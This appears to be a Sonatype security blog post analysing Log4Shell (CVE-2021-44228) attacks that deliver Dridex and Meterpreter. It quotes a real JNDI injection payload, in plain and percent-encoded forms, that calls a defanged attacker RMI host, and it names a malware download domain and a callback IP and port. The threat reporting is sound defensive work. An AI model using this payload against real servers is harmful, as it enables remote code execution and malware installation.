As the Log4j vulnerability disclosures come out, and ongoing exploitation in the wild is on, we have been closely monitoring developments and tracking the gap between the disclosures and how fast the patching occurs, in the Log4j resource center.
Just yesterday, Belgium's defense ministry confirmed that they had been had been with a cyberattack from bad actors who had exploited the Log4j vulnerability.
Although the original and most critical 'log4shell' vulnerability (CVE-2021-44228) may have been the start of it all, up to four total CVEs have been disclosed thus far, with a fifth one impacting the "logback" framework.
Note, to avoid any confusion, the log4j-api component itself is not vulnerable to the log4shell vulnerability, contrary to what the GitHub advisory states. Our security research team has accounted for this and similar exceptions in our research data.
And, for those using log4j 2.16, switching to 2.17 is a good idea after a seemingly trivial but nonetheless 'High'-rated DoS vulnerability, tracked as CVE-2021-45105, was patched.
By now, Log4Shell exploits have been weaponized by all classes of threat actors, from nation-state hackers to ransomware gangs and those looking to deploy cryptomining malware.
This week, however, cybersecurity research group Cryptolaemus warns Log4shell exploits are now being leveraged by threat actors to infect Windows machines with the Dridex Trojan and Linux devices with Meterpreter, as first reported by BleepingComputer.
Dridex Trojan is known for targeting online banking victims in an attempt to steal their credentials. However, later variants of the malware come with additional capabilities such as conducting surveillance activities, dropping more malware, and propagating to other machines. As such, ransomware strands including DoppelPaymer and BitPaymer have previously deployed Dridrex in their attacks.
The particular attack seen by Cryptolaemus begins with a Java class called "Binary.class."
Using standard JNDI log4shell exploit, a server running a vulnerable log4j version can be triggered into loading this class via a one-line string payload via RMI, if not LDAP. For example:
$%7B$%7B::-j%7Dndi:rmi://188.166.57[.]35:1389/Binary%7D
which is just a percent-encoded version of:
${${::-j}ndi:rmi://188.166.57[.]35:1389/Binary}
The Binary.class file, as decoded by us, contains URLs with expletives and slurs that further download next-stage payloads:
Image: A close reconstruction of Java source code in the malicious “Binary.class”
On Windows operating systems, the "Binary" class launches an HTA file served by one of the hardcode URLs, using the "mshta" Windows utility. This HTA file contains VBScript code, shown below, that ultimately pulls in the Dridex trojan (DLL).
On Linux operating systems, it is the "m.py" script instead that gets downloaded from the cucsur.udgvirtual.udg[.]mx domain and launched.
The m.py file seen by Sonatype is 1700 lines of Meterpreter code which is entirely base64-encoded. When successfully deployed on a Unix machine, Meterpreter enables an attacker to take over the compromised system, control it remotely and execute commands at will to install ransomware, exfiltrate data, or infect further devices:
The Meterpreter attempts to establish a socket connection to the IP address 185.254.196.122 over port 4445. At the time of our testing, the host is still up.
Sonatype expects to see an uptick in the ongoing exploitation of log4shell vulnerabilities by different kinds of threat actors and recommends upgrading to the latest versions of the log4j component. For users of log4j-core, the latest fixed version to be on is 2.17.0. For devs on the 2.12.x branch, a 2.12.3 release is expected to come out on Maven Central shortly (monitor this page for updates).
Those using Sonatype Intelligence-powered products, such as Sonatype Lifecycle, need not worry as our security research and vulnerability data continues to protect their software development pipelines.
Additionally, the community has published a script that allows you to check if your application is vulnerable. We recommend you perform both a search and conduct a test ASAP.
If you aren't using any of Sonatype's products, Sonatype offers a free vulnerability scanner you can download or use online, and it will report usage of all vulnerable versions of Log4j in your repositories. Run a scan.